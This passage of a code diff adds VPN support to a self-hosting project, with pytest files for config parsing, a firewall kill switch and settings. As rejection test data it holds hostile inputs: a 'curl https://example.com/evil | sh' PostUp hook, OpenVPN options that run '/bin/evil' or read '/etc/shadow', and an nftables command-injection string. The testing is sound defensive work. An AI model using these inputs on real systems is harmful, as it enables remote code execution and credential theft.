// Fetch hardware button status immediately
refreshToggleButtons();
loadHotspotSettings();
loadVpn();
// Initial update after a short delay (to not overlap with initial load)
setTimeout(() => {
@ -3091,6 +3269,7 @@
loadDisks();
loadSmart();
refreshToggleButtons();
loadVpnStatus();
}, updateInterval);
}

View file

@ -57,7 +57,7 @@ class TestManagedServicesConfig:
def test_managed_services_count(self):
"""Should have expected number of managed services."""
services = DEFAULT_CONFIG["managed_services"]
assert len(services) == 13
assert len(services) == 15
@pytest.mark.parametrize("name,expected", [
("wrolpi-api",

View file

@ -295,3 +295,94 @@ class TestGetContainerLogs:
assert result["logs"] == "log line 1\nlog line 2"
assert result["service"] == "api"
assert result["lines"] == 50
def _container(service, ports=None, status="running"):
container = mock.Mock()
container.name = f"{CONTAINER_PREFIX}-{service}-1"
container.status = status
container.attrs = {"NetworkSettings": {"Ports": ports or {}}}
return container
WEB_PORTS = {"443/tcp": [{"HostPort": "8443"}], "8084/tcp": [{"HostPort": "8084"}],
"8085/tcp": [{"HostPort": "8085"}], "8086/tcp": [{"HostPort": "8086"}],
"8091/tcp": [{"HostPort": "8091"}]}
def _list(*containers):
client = mock.Mock()
client.containers.list.return_value = list(containers)
client.containers.get.side_effect = lambda name: {c.name: c for c in containers}[name]
with mock.patch("controller.lib.docker_services.can_manage_containers", return_value=True), \
mock.patch("controller.lib.docker_services._get_client", return_value=client):
return {s["name"]: s for s in get_all_containers_status()}, client
class TestDockerServiceDescriptions:
"""Each container says what it is; one served by the web container (Caddy) links to Caddy's port for it."""
def test_every_compose_service_is_described(self):
import yaml
from pathlib import Path
from controller.lib.docker_services import DOCKER_SERVICES
compose = yaml.safe_load((Path(__file__).parents[2] / "docker-compose.yml").read_text())
for name in compose["services"]:
assert DOCKER_SERVICES.get(name, {}).get("description"), name
def test_vpn_is_torrents_and_links_to_the_webui(self):
services, _ = _list(_container("vpn"), _container("web", WEB_PORTS))
vpn = services["vpn"]
assert "torrents" in vpn["description"].lower()
assert vpn["port"] == 8091 and vpn["use_https"] is True and vpn["viewable"] is True
def test_served_through_web_uses_webs_host_port(self):
# WEB_HTTPS_PORT may be changed; the link follows Caddy's published port.
ports = dict(WEB_PORTS, **{"443/tcp": [{"HostPort": "9443"}]})
services, _ = _list(_container("help"), _container("zim"), _container("app"), _container("web", ports))
assert (services["help"]["port"], services["help"]["use_https"]) == (8086, True)
assert services["zim"]["port"] == 8085
assert services["app"]["port"] == 9443
assert services["web"]["port"] == 9443 and services["web"]["use_https"] is True
def test_tiles_are_plain_http_with_no_page(self):
services, _ = _list(_container("tiles"), _container("web", dict(WEB_PORTS, **{"8088/tcp": [{"HostPort": "8088"}]})))
assert (services["tiles"]["port"], services["tiles"]["use_https"], services["tiles"]["viewable"]) == \
(8088, False, False)
def test_without_web_there_is_no_link(self):
services, _ = _list(_container("vpn"))
assert services["vpn"]["port"] is None
assert services["vpn"]["description"]
def test_archive_has_no_page(self):
services, _ = _list(_container("archive", {"8080/tcp": [{"HostPort": "8083"}]}))
assert services["archive"]["viewable"] is False
assert services["archive"]["description"]
def test_unknown_container_has_no_description(self):
services, _ = _list(_container("custom", {"80/tcp": [{"HostPort": "9000"}]}))
assert services["custom"]["description"] == ""
assert services["custom"]["port"] == 9000
def test_single_container_status_is_described(self):
vpn, web = _container("vpn"), _container("web", WEB_PORTS)
client = mock.Mock()
client.containers.get.side_effect = lambda name: {vpn.name: vpn, web.name: web}[name]
with mock.patch("controller.lib.docker_services.can_manage_containers", return_value=True), \
mock.patch("controller.lib.docker_services._get_client", return_value=client):
status = get_container_status("vpn")
assert "torrents" in status["description"].lower()
assert status["port"] == 8091
class TestSimpleUiDescriptions:
"""The Controller's own page shows each service's description, as the React page does."""
def test_rows_show_descriptions(self):
from pathlib import Path
page = (Path(__file__).parents[1] / "templates/index.html").read_text()
macro = page[page.index("{% macro service_row"):page.index("{% endmacro %}")]
assert "service.description" in macro
script = page[page.index("function serviceRowHtml"):]
assert "service.description" in script[:script.index("return row")]

View file

@ -93,10 +93,10 @@ class TestConfig:
["rsync", "--version"], capture_output=True).stdout, reason="needs rsync 3")
def test_daemon_serves_the_library_read_only(tmp_path):
"""The daemon run with the real config (only its port and path changed) lists the library, never serves the
database in use or the TLS keys, serves the snapshot, and refuses a write."""
database in use, the TLS keys or the VPN keys, serves the snapshot, and refuses a write."""
media = tmp_path / "media"
for path in ("videos/a.mp4", "config/tags.yaml", "config/wrolpi.db", "config/wrolpi.db-wal",
"config/ssl/ca.key", "config/cookies.txt.enc", "config/.sync/config/wrolpi.db",
"config/ssl/ca.key", "config/vpn/wireguard.conf", "config/cookies.txt.enc", "config/.sync/config/wrolpi.db",
"config/.sync/config/.wrolpi.db.backup"):
(media / path).parent.mkdir(parents=True, exist_ok=True)
(media / path).write_text(path)

251
controller/test/test_vpn.py Normal file
View file

@ -0,0 +1,251 @@
"""
Tests for the Controller's VPN settings, server lookups, status, and API.
"""
import json
import stat
import time
from pathlib import Path
from unittest import mock
import pytest
import yaml
from controller.lib import vpn
from controller.vpn import tunnel
from controller.vpn.tunnel import VPNConfigError
WIREGUARD = """\
[Interface]
PrivateKey = cHJpdmF0ZWtleXByaXZhdGVrZXlwcml2YXRla2V5cHI=
Address = 10.2.0.2/32
DNS = 10.2.0.1
[Peer]
PublicKey = cHVibGlja2V5cHVibGlja2V5cHVibGlja2V5cHVibGk=
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.example.com:51820
"""
OPENVPN = """\
client
remote 198.51.100.7 1194
auth-user-pass
"""
@pytest.fixture
def drive(test_directory, mock_config_path, reset_runtime_config, monkeypatch) -> Path:
"""A mounted drive: controller.yaml and the VPN files share one config directory, as on a WROLPi."""
monkeypatch.setenv('MEDIA_DIRECTORY', str(test_directory))
return test_directory / 'config'
@pytest.fixture
def resolver():
with mock.patch.object(tunnel, 'resolve_host', return_value=['203.0.113.5']) as resolve_host:
yield resolve_host
def saved_vpn_settings(drive: Path) -> dict:
return yaml.safe_load((drive / 'controller.yaml').read_text())['vpn']
class TestSaveConfig:
def test_wireguard(self, drive, resolver):
response = vpn.save_vpn_config('proton-US-1.conf', WIREGUARD)
assert response['kind'] == 'wireguard'
assert response['servers'] == ['vpn.example.com']
assert response['enabled'] is False
path = drive / vpn.WIREGUARD_CONFIG
assert path.read_text() == WIREGUARD
# It holds a private key.
assert stat.S_IMODE(path.stat().st_mode) == 0o600
assert stat.S_IMODE(path.parent.stat().st_mode) == 0o700
# The tunnel reads the same key the Controller saved.
assert saved_vpn_settings(drive)['config_file'] == vpn.WIREGUARD_CONFIG
assert tunnel.load_settings(drive.parent)['config_file'] == vpn.WIREGUARD_CONFIG
# The server's name is looked up for the tunnel, which cannot use DNS until it is up.
endpoints = json.loads((tunnel.RUN_DIR / tunnel.ENDPOINTS_FILE).read_text())
assert endpoints['hosts'] == {'vpn.example.com': ['203.0.113.5']}
assert endpoints['config_sha256'] == tunnel.config_sha256(WIREGUARD)
def test_replaces_the_other_kind(self, drive, resolver):
vpn.save_vpn_config('a.conf', WIREGUARD)
response = vpn.save_vpn_config('b.ovpn', OPENVPN)
assert response['kind'] == 'openvpn'
assert response['needs_auth'] is True
assert response['has_auth'] is False
assert not (drive / vpn.WIREGUARD_CONFIG).exists()
assert saved_vpn_settings(drive)['config_file'] == vpn.OPENVPN_CONFIG
@pytest.mark.parametrize('filename,content,message', [
('vpn.txt', WIREGUARD, '.conf'),
('vpn.conf', '[Interface]\n', 'PrivateKey'),
('vpn.ovpn', 'client\n', 'no remote'),
('vpn.conf', 'x' * (vpn.MAX_CONFIG_BYTES + 1), 'too large'),
])
def test_invalid_config_is_not_saved(self, drive, resolver, filename, content, message):
with pytest.raises(VPNConfigError, match=message):
vpn.save_vpn_config(filename, content)
assert not (drive / 'vpn').exists()
def test_lookup_failure_does_not_stop_saving(self, drive):
with mock.patch.object(tunnel, 'resolve_host', side_effect=__import__('socket').gaierror('no Internet')):
response = vpn.save_vpn_config('a.conf', WIREGUARD)
assert response['kind'] == 'wireguard'
assert vpn.endpoints_need_resolving() is False # The VPN is off.
class TestSettings:
def test_enable_needs_a_config(self, drive):
with pytest.raises(VPNConfigError, match='Upload a VPN config'):
vpn.update_vpn_settings(enabled=True)
def test_enable(self, drive, resolver):
vpn.save_vpn_config('a.conf', WIREGUARD)
assert vpn.update_vpn_settings(enabled=True)['enabled'] is True
assert saved_vpn_settings(drive)['enabled'] is True
def test_openvpn_needs_its_login_before_enabling(self, drive, resolver):
vpn.save_vpn_config('a.ovpn', OPENVPN)
with pytest.raises(VPNConfigError, match='username and password'):
vpn.update_vpn_settings(enabled=True)
response = vpn.save_openvpn_auth('user', 'secret')
assert response['has_auth'] is True
auth = drive / vpn.OPENVPN_AUTH
assert auth.read_text() == 'user\nsecret\n'
assert stat.S_IMODE(auth.stat().st_mode) == 0o600
assert vpn.update_vpn_settings(enabled=True)['enabled'] is True
@pytest.mark.parametrize('username,password', [('', 'p'), ('u', ''), ('u\nx', 'p'), ('u', 'p\r')])
def test_invalid_login(self, drive, username, password):
with pytest.raises(VPNConfigError):
vpn.save_openvpn_auth(username, password)
def test_port_forwarding(self, drive):
with pytest.raises(VPNConfigError, match='Enter the port'):
vpn.update_vpn_settings(port_forwarding='fixed')
with pytest.raises(VPNConfigError, match='between 1 and 65535'):
vpn.update_vpn_settings(port_forwarding='fixed', forwarded_port=70000)
with pytest.raises(VPNConfigError, match='must be one of'):
vpn.update_vpn_settings(port_forwarding='upnp')
response = vpn.update_vpn_settings(port_forwarding='fixed', forwarded_port=51413)
assert (response['port_forwarding'], response['forwarded_port']) == ('fixed', 51413)
# Only differences from the defaults are saved.
assert saved_vpn_settings(drive) == {'port_forwarding': 'fixed', 'forwarded_port': 51413}
def test_natpmp(self, drive):
response = vpn.update_vpn_settings(port_forwarding='natpmp')
assert response['port_forwarding'] == 'natpmp'
with pytest.raises(VPNConfigError, match='IPv4'):
vpn.update_vpn_settings(natpmp_gateway='vpn.example.com')
with pytest.raises(VPNConfigError, match='IPv4'):
vpn.update_vpn_settings(natpmp_gateway='fd00::1')
assert vpn.update_vpn_settings(natpmp_gateway='10.64.0.1')['natpmp_gateway'] == '10.64.0.1'
assert vpn.update_vpn_settings(natpmp_gateway='')['natpmp_gateway'] is None
@pytest.mark.parametrize('url', ['file:///etc/shadow', 'ftp://example.com/', 'https://', 'example.com'])
def test_public_ip_url_must_be_a_web_address(self, drive, url):
with pytest.raises(VPNConfigError, match='http'):
vpn.update_vpn_settings(public_ip_url=url)
# Empty turns the check off.
assert vpn.update_vpn_settings(public_ip_url='')['public_ip_url'] is None
def test_delete(self, drive, resolver):
vpn.save_vpn_config('a.ovpn', OPENVPN)
vpn.save_openvpn_auth('user', 'secret')
vpn.update_vpn_settings(enabled=True)
response = vpn.delete_vpn_config()
assert response['enabled'] is False
assert response['kind'] is None
assert not (drive / vpn.OPENVPN_CONFIG).exists()
assert not (drive / vpn.OPENVPN_AUTH).exists()
class TestEndpoints:
def test_need_resolving(self, drive, resolver):
vpn.save_vpn_config('a.conf', WIREGUARD)
vpn.update_vpn_settings(enabled=True)
assert vpn.endpoints_need_resolving() is False
# Old lookups are refreshed in case the provider moved a server.
path = tunnel.RUN_DIR / tunnel.ENDPOINTS_FILE
data = json.loads(path.read_text())
data['resolved_at'] = time.time() - vpn.ENDPOINTS_MAX_AGE - 1
path.write_text(json.dumps(data))
assert vpn.endpoints_need_resolving() is True
# A lookup which failed (e.g. no Internet at boot) is tried again.
data['resolved_at'], data['hosts'] = time.time(), {}
path.write_text(json.dumps(data))
assert vpn.endpoints_need_resolving() is True
path.unlink()
assert vpn.endpoints_need_resolving() is True
def test_addresses_need_no_lookup(self, drive, resolver):
vpn.save_vpn_config('a.ovpn', 'remote 198.51.100.7 1194\n')
assert vpn.resolve_endpoints() == {}
resolver.assert_not_called()
class TestStatus:
def test_stopped_without_status(self, drive):
assert vpn.get_vpn_status()['state'] == 'stopped'
def test_reports_the_tunnels_status(self, drive):
tunnel.write_json(tunnel.RUN_DIR / tunnel.STATUS_FILE, {
'state': 'connected', 'kind': 'wireguard', 'interface': 'vpn0', 'public_ip': '203.0.113.99',
'forwarded_port': 51413, 'updated_at': time.time()})
status = vpn.get_vpn_status()
assert (status['state'], status['public_ip'], status['forwarded_port']) == ('connected', '203.0.113.99', 51413)
def test_stale_status_is_stopped(self, drive):
tunnel.write_json(tunnel.RUN_DIR / tunnel.STATUS_FILE, {
'state': 'connected', 'public_ip': '203.0.113.99',
'updated_at': time.time() - vpn.STALE_STATUS_SECONDS - 1})
status = vpn.get_vpn_status()
assert status['state'] == 'stopped'
assert status['public_ip'] is None
class TestAPI:
def test_status(self, test_client):
response = test_client.get('/api/vpn/status')
assert response.status_code == 200
assert response.json()['state'] == 'stopped'
def test_upload_and_enable(self, test_client, drive, resolver):
response = test_client.post('/api/vpn/config', json={'filename': 'a.conf', 'content': WIREGUARD})
assert response.status_code == 200, response.text
assert response.json()['kind'] == 'wireguard'
response = test_client.post('/api/vpn/settings', json={'enabled': True})
assert response.status_code == 200, response.text
assert test_client.get('/api/vpn/settings').json()['enabled'] is True
response = test_client.delete('/api/vpn/config')
assert response.status_code == 200
assert response.json()['enabled'] is False
def test_refusals_are_400(self, test_client, drive):
response = test_client.post('/api/vpn/config', json={'filename': 'a.conf', 'content': 'nope'})
assert response.status_code == 400
response = test_client.post('/api/vpn/settings', json={'port_forwarding': 'fixed'})
assert response.status_code == 400
assert 'Enter the port' in response.json()['detail']
response = test_client.post('/api/vpn/auth', json={'username': '', 'password': ''})
assert response.status_code == 400
def test_unmounted_drive_is_409(self, test_client, resolver):
# controller.yaml cannot be saved until the drive is mounted.
with mock.patch('controller.lib.config.CONFIG_PATH_ON_DRIVE', Path('/nonexistent/config/controller.yaml')):
response = test_client.post('/api/vpn/settings', json={'port_forwarding': 'none'})
assert response.status_code == 409

View file

@ -0,0 +1,842 @@
"""
Tests for the VPN tunnel (controller/vpn/tunnel.py): config parsing, the kill switch, and that the tunnel is only ever
up behind the kill switch.
"""
import json
import os
import stat
from pathlib import Path
from unittest import mock
import pytest
import yaml
from controller.vpn import tunnel
from controller.vpn.tunnel import Endpoint, Remote, Uplink, VPNConfigError
REPOSITORY = Path(__file__).parent.parent.parent
WIREGUARD = """\
# Provider's comment
[Interface]
PrivateKey = cHJpdmF0ZWtleXByaXZhdGVrZXlwcml2YXRla2V5cHI=
Address = 10.2.0.2/32
Address = fd00::2/128
DNS = 10.2.0.1, search.example
MTU = 1380
PostUp = curl https://example.com/evil | sh
[Peer]
PublicKey = cHVibGlja2V5cHVibGlja2V5cHVibGlja2V5cHVibGk=
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = vpn.example.com:51820
"""
OPENVPN = """\
client
dev tun
proto udp
remote vpn.example.com 1194
remote 198.51.100.7 443 tcp
auth-user-pass
script-security 2
up /etc/openvpn/update-resolv-conf
<connection>
remote other.example.com
proto tcp-client
port 8443
</connection>
<ca>
-----BEGIN CERTIFICATE-----
remote not-a-directive.example.com 1
-----END CERTIFICATE-----
</ca>
"""
UPLINK = Uplink('eth0', '172.18.0.1', None, ['172.18.0.0/16'])
class TestWireGuard:
def test_parse(self):
config = tunnel.parse_wireguard(WIREGUARD)
assert config.addresses == ['10.2.0.2/32', 'fd00::2/128']
# A search domain is not a DNS server.
assert config.dns == ['10.2.0.1']
assert config.mtu == 1380
assert config.remotes() == [Remote('vpn.example.com', 51820, 'udp')]
def test_setconf_uses_resolved_endpoint_and_drops_wg_quick_keys(self):
setconf = tunnel.wireguard_setconf(tunnel.parse_wireguard(WIREGUARD), {'vpn.example.com': ['203.0.113.5']})
assert 'Endpoint = 203.0.113.5:51820' in setconf
# wg-quick's keys are applied by the tunnel, and a config's commands are never run.
for key in ('Address', 'DNS', 'MTU', 'PostUp', 'curl'):
assert key not in setconf
assert 'PrivateKey = cHJpdmF0ZWtleXByaXZhdGVrZXlwcml2YXRla2V5cHI=' in setconf
assert 'AllowedIPs = 0.0.0.0/0, ::/0' in setconf
# Keeps the provider's NAT mapping (and a forwarded port) open while idle.
assert f'PersistentKeepalive = {tunnel.DEFAULT_KEEPALIVE}' in setconf
def test_setconf_keeps_keepalive_and_brackets_ipv6(self):
text = WIREGUARD.replace('Endpoint = vpn.example.com:51820',
'Endpoint = [2001:db8::5]:51820\nPersistentKeepalive = 10')
setconf = tunnel.wireguard_setconf(tunnel.parse_wireguard(text), {})
assert 'Endpoint = [2001:db8::5]:51820' in setconf
assert 'PersistentKeepalive = 10' in setconf
def test_setconf_needs_the_controllers_lookup(self):
with pytest.raises(tunnel.Waiting):
tunnel.wireguard_setconf(tunnel.parse_wireguard(WIREGUARD), {})
@pytest.mark.parametrize('text,message', [
('', 'no [Interface]'),
('[Interface]\nAddress = 10.0.0.2/32\n[Peer]\nPublicKey = a\nEndpoint = h:1\n', 'no PrivateKey'),
('[Interface]\nPrivateKey = a\n[Peer]\nPublicKey = a\nEndpoint = h:1\n', 'no Address'),
('[Interface]\nPrivateKey = a\nAddress = 10.0.0.2/32\n', 'no [Peer]'),
('[Interface]\nPrivateKey = a\nAddress = 10.0.0.2/32\n[Peer]\nPublicKey = a\n', 'no Endpoint'),
('[Interface]\nPrivateKey = a\nAddress = 10.0.0.2/32\n[Peer]\nPublicKey = a\nEndpoint = h\n',
'expected host:port'),
('[Interface]\nPrivateKey = a\nAddress = nope\n[Peer]\nPublicKey = a\nEndpoint = h:1\n', 'Address'),
('[Wat]\n', 'Unknown WireGuard section'),
])
def test_invalid(self, text, message):
with pytest.raises(VPNConfigError, match=message.replace('[', r'\[').replace(']', r'\]')):
tunnel.parse_wireguard(text)
class TestOpenVPN:
def test_parse_remotes(self):
config = tunnel.parse_openvpn(OPENVPN)
assert config.remotes == [
Remote('vpn.example.com', 1194, 'udp'),
Remote('198.51.100.7', 443, 'tcp'),
# A <connection> block's proto and port apply to its own remote only.
Remote('other.example.com', 8443, 'tcp'),
]
assert config.wants_auth is True
def test_global_options_apply_to_remotes_above_them(self):
config = tunnel.parse_openvpn('remote a.example.com\nport 443\nproto tcp\n')
assert config.remotes == [Remote('a.example.com', 443, 'tcp')]
assert config.wants_auth is False
def test_sanitize(self):
config = tunnel.parse_openvpn(OPENVPN)
text = tunnel.sanitize_openvpn(config, {'vpn.example.com': ['203.0.113.5', '203.0.113.6'],
'other.example.com': ['203.0.113.9']})
lines = text.splitlines()
# Each name becomes its addresses, so OpenVPN never needs DNS behind the kill switch.
assert 'remote 203.0.113.5 1194 udp' in lines
assert 'remote 203.0.113.6 1194 udp' in lines
assert 'remote 198.51.100.7 443 tcp' in lines
assert 'remote 203.0.113.9 8443 tcp' in lines
assert not any('vpn.example.com' in line for line in lines)
# No commands; the tunnel names the device and passes the login itself.
for dropped in ('script-security', 'up /etc', 'auth-user-pass', 'dev tun'):
assert not any(line.startswith(dropped) for line in lines), dropped
# Inline data is passed through untouched.
assert 'remote not-a-directive.example.com 1' in lines
assert '<connection>' in lines and '</ca>' in lines
@pytest.mark.parametrize('text,message', [
('client\n', 'no remote'),
('remote a.example.com\nhttp-proxy 10.0.0.1 8080\n', 'http-proxy'),
('remote a.example.com\ndev tap\n', 'TAP'),
('remote a.example.com\nproto sctp\n', 'Unknown OpenVPN protocol'),
])
def test_invalid(self, text, message):
with pytest.raises(VPNConfigError, match=message):
tunnel.parse_openvpn(text)
@pytest.mark.parametrize('line', [
# OpenVPN un-quotes and un-escapes option names, so these are `up`.
'"up" /bin/evil', "'up' /bin/evil", 'u\\p /bin/evil', '--"up" /bin/evil',
# Run commands without needing --script-security.
'iproute /bin/evil', 'plugin /usr/lib/openvpn/openvpn-plugin-down-root.so /bin/evil', 'engine evil',
'providers evil',
# Wrapped in `setenv opt`, an option is still judged as itself.
'setenv opt iproute /bin/evil', 'setenv "opt" up /bin/evil', "setenv 'opt' iproute /bin/evil",
'setenv o\\pt up /bin/evil', 'remote 198.51.100.8 "1194"',
# Read or write files as root.
'askpass /etc/shadow', 'tmp-dir /etc', 'tls-export-cert /etc', 'replay-persist /etc/passwd',
'ca /etc/shadow', 'tls-auth /etc/shadow 1', 'config /etc/openvpn/other.conf',
# Unknown options are refused, by name.
'ignore-unknown-option up', 'management 0.0.0.0 7505',
])
def test_refuses_options_which_could_escape(self, line):
with pytest.raises(VPNConfigError):
tunnel.parse_openvpn(f'client\nremote 198.51.100.7\n{line}\n')
@pytest.mark.parametrize('block', ['auth-user-pass', 'up', 'secret-stuff'])
def test_refuses_unknown_inline_blocks(self, block):
with pytest.raises(VPNConfigError, match=f'<{block}>'):
tunnel.parse_openvpn(f'remote 198.51.100.7\n<{block}>\nx\n</{block}>\n')
@pytest.mark.parametrize('text', [
# OpenVPN would end the block here and read the next line as an option.
'<ca>\ncert\n</ca> trailing\nup /bin/evil\n',
'<ca>\ncert\n</ca>junk\n',
# A block left open hides nothing from OpenVPN, but cannot be read either.
'<ca>\ncert\n',
'<connection>\nremote 198.51.100.8\n',
])
def test_inline_blocks_must_close_cleanly(self, text):
with pytest.raises(VPNConfigError):
tunnel.parse_openvpn(f'remote 198.51.100.7\n{text}')
def test_inline_block_closing_tag_however_written(self):
# Closed by any line which starts with the closing tag, so what follows is always checked.
with pytest.raises(VPNConfigError, match='iproute'):
tunnel.parse_openvpn('remote 198.51.100.7\n<ca>\ncert\n </CA>\niproute /bin/evil\n')
def test_quotes_in_harmless_options(self):
text = ('remote 198.51.100.7\npull-filter ignore "route-ipv6"\n'
"verify-x509-name 'C=US, CN=vpn' subject\n")
assert 'pull-filter ignore "route-ipv6"' in tunnel.sanitize_openvpn(tunnel.parse_openvpn(text), {})
def test_drops_scripts_and_what_the_tunnel_replaces(self):
text = ('client\nremote 198.51.100.7\nsetenv opt up /bin/evil\nsetenv CLIENT_CERT 0\nverb 1\n'
'user nobody\nlog /etc/passwd\nblock-outside-dns\ndhcp-option DNS 10.8.0.1\n')
config = tunnel.parse_openvpn(text)
lines = tunnel.sanitize_openvpn(config, {}).splitlines()
assert lines == ['client', 'remote 198.51.100.7 1194 udp', 'setenv CLIENT_CERT 0', 'dhcp-option DNS 10.8.0.1']
assert config.dns == ['10.8.0.1']
def test_inline_key_material(self):
text = 'remote 198.51.100.7\ntls-auth [inline] 1\nkey-direction 1\n<tls-auth>\nkey\n</tls-auth>\n'
assert '<tls-auth>' in tunnel.sanitize_openvpn(tunnel.parse_openvpn(text), {})
def test_pushed_dns(self):
line = ("2026-11-27 PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1,dhcp-option DNS "
"10.8.0.1,dhcp-option DNS6 fd00::1,dhcp-option DOMAIN example.com,dns server 0 address 10.8.0.2 "
"[fd00::2]:53 10.8.0.3:53,route-gateway 10.8.0.1,ifconfig 10.8.0.6 255.255.255.0,peer-id 0'")
assert tunnel.pushed_dns(line) == ['10.8.0.1', 'fd00::1', '10.8.0.2', 'fd00::2', '10.8.0.3']
assert tunnel.pushed_dns('Initialization Sequence Completed') == []
class TestKillSwitch:
def test_drops_everything_but_the_tunnel_and_the_vpn_servers(self):
ruleset = tunnel.build_ruleset(UPLINK, [Endpoint('203.0.113.5', 51820, 'udp'),
Endpoint('2001:db8::5', 443, 'tcp')])
assert ruleset.startswith('table inet wrolpi_vpn\ndelete table inet wrolpi_vpn\n')
for chain in ('input', 'output', 'forward'):
assert f'type filter hook {chain} priority filter; policy drop;' in ruleset
assert 'oifname "vpn0" accept' in ruleset
# From the Internet only the forwarded port; nothing else arriving on the tunnel is accepted.
input_chain = ruleset[ruleset.index('chain input'):ruleset.index('chain output')]
assert 'iifname "vpn0" meta l4proto { tcp, udp } th dport @listen_ports accept' in input_chain
assert 'iifname "vpn0" accept' not in input_chain
assert 'set listen_ports {\n\t\ttype inet_service;\n\t}' in ruleset
assert 'oifname "eth0" ip daddr 203.0.113.5 udp dport 51820 accept' in ruleset
assert 'oifname "eth0" ip6 daddr 2001:db8::5 tcp dport 443 accept' in ruleset
# WROLPi reaches the torrent WebUI from the uplink's network; the namespace only answers.
assert f'iifname "eth0" ip saddr 172.18.0.0/16 tcp dport {tunnel.WEBUI_PORT} accept' in ruleset
assert 'oifname "eth0" ip daddr 172.18.0.0/16 ct state established,related accept' in ruleset
# Docker's DNS would resolve through the host, around the tunnel. It is dropped before loopback is allowed.
output = ruleset[ruleset.index('chain output'):]
assert output.index('ip daddr 127.0.0.11 drop') < output.index('oifname "lo" accept')
def test_listen_ports(self):
ruleset = tunnel.build_ruleset(UPLINK, [], listen_ports=[36523])
assert '\t\telements = { 36523 }\n' in ruleset
@pytest.mark.parametrize('port', ['1 }\nflush ruleset\n', '36523', 0, 70000, True, None, 1.5])
def test_only_port_numbers_reach_nftables(self, port):
with pytest.raises(VPNConfigError):
tunnel.build_ruleset(UPLINK, [], listen_ports=[port])
with pytest.raises(VPNConfigError):
tunnel.set_listen_ports([port])
def test_without_endpoints_nothing_leaves_the_uplink(self):
ruleset = tunnel.build_ruleset(UPLINK, [])
output = ruleset[ruleset.index('chain output'):ruleset.index('chain forward')]
uplink_rules = [line.strip() for line in output.splitlines() if 'oifname "eth0"' in line]
assert uplink_rules == ['oifname "eth0" ip daddr 172.18.0.0/16 ct state established,related accept']
@pytest.fixture
def media(tmp_path, monkeypatch) -> Path:
media = tmp_path / 'media'
(media / 'config' / 'vpn').mkdir(parents=True)
monkeypatch.setenv('MEDIA_DIRECTORY', str(media))
return media
def write_settings(media: Path, **vpn):
(media / 'config' / 'controller.yaml').write_text(yaml.safe_dump({'vpn': vpn}))
def write_endpoints(run_dir: Path, text: str, hosts: dict):
tunnel.write_json(run_dir / tunnel.ENDPOINTS_FILE, {'config_sha256': tunnel.config_sha256(text), 'hosts': hosts})
class TestPlan:
def test_disabled(self, media):
write_settings(media, enabled=False, config_file='vpn/wireguard.conf')
assert tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR) is None
def test_settings_default_without_controller_yaml(self, media):
assert tunnel.load_settings(media) == tunnel.VPN_DEFAULTS
def test_waits_for_the_controller_to_look_up_servers(self, media):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
settings = tunnel.load_settings(media)
with pytest.raises(tunnel.Waiting):
tunnel.make_plan(settings, media / 'config', tunnel.RUN_DIR)
# A lookup of an older config is not used.
write_endpoints(tunnel.RUN_DIR, 'old config', {'vpn.example.com': ['192.0.2.1']})
with pytest.raises(tunnel.Waiting):
tunnel.make_plan(settings, media / 'config', tunnel.RUN_DIR)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
plan = tunnel.make_plan(settings, media / 'config', tunnel.RUN_DIR)
assert plan.kind == 'wireguard'
assert plan.endpoints == [Endpoint('203.0.113.5', 51820, 'udp')]
def test_fingerprint_follows_settings(self, media):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
first = tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='fixed',
forwarded_port=51413)
second = tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
assert first.fingerprint != second.fingerprint
def test_openvpn_needs_its_login(self, media):
text = 'remote 198.51.100.7 1194\nauth-user-pass\n'
(media / 'config/vpn/openvpn.ovpn').write_text(text)
write_settings(media, enabled=True, config_file='vpn/openvpn.ovpn')
with pytest.raises(VPNConfigError, match='username and password'):
tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
(media / 'config/vpn/openvpn-auth.txt').write_text('user\npass\n')
write_settings(media, enabled=True, config_file='vpn/openvpn.ovpn', auth_file='vpn/openvpn-auth.txt')
plan = tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
assert plan.auth_path == media / 'config/vpn/openvpn-auth.txt'
assert plan.endpoints == [Endpoint('198.51.100.7', 1194, 'udp')]
def test_fixed_port_must_be_a_port(self, media):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='fixed',
forwarded_port='1 }\nflush ruleset\n')
with pytest.raises(VPNConfigError, match='not a port'):
tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
def test_missing_config(self, media):
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
with pytest.raises(VPNConfigError, match='missing'):
tunnel.make_plan(tunnel.load_settings(media), media / 'config', tunnel.RUN_DIR)
class FakeSystem:
"""Records the tunnel's commands in order; `vpn0` exists once added."""
def __init__(self):
self.calls = []
self.links = set()
def run(self, *cmd, input_=None):
cmd = tuple(map(str, cmd))
self.calls.append(('nft', input_) if cmd[0] == 'nft' else cmd)
if cmd[:3] == ('ip', 'link', 'add'):
self.links.add(cmd[3])
return mock.Mock(stdout='')
def run_quietly(self, *cmd):
cmd = tuple(map(str, cmd))
self.calls.append(cmd)
if cmd[:3] == ('ip', 'link', 'del'):
self.links.discard(cmd[3])
def rulesets(self):
return [call[1] for call in self.calls if call[0] == 'nft']
def index(self, prefix):
return next(i for i, call in enumerate(self.calls) if call[:len(prefix)] == prefix)
@pytest.fixture
def fake_system(monkeypatch):
system = FakeSystem()
monkeypatch.setattr(tunnel, 'run', system.run)
monkeypatch.setattr(tunnel, 'run_quietly', system.run_quietly)
monkeypatch.setattr(tunnel, 'find_uplink', lambda: UPLINK)
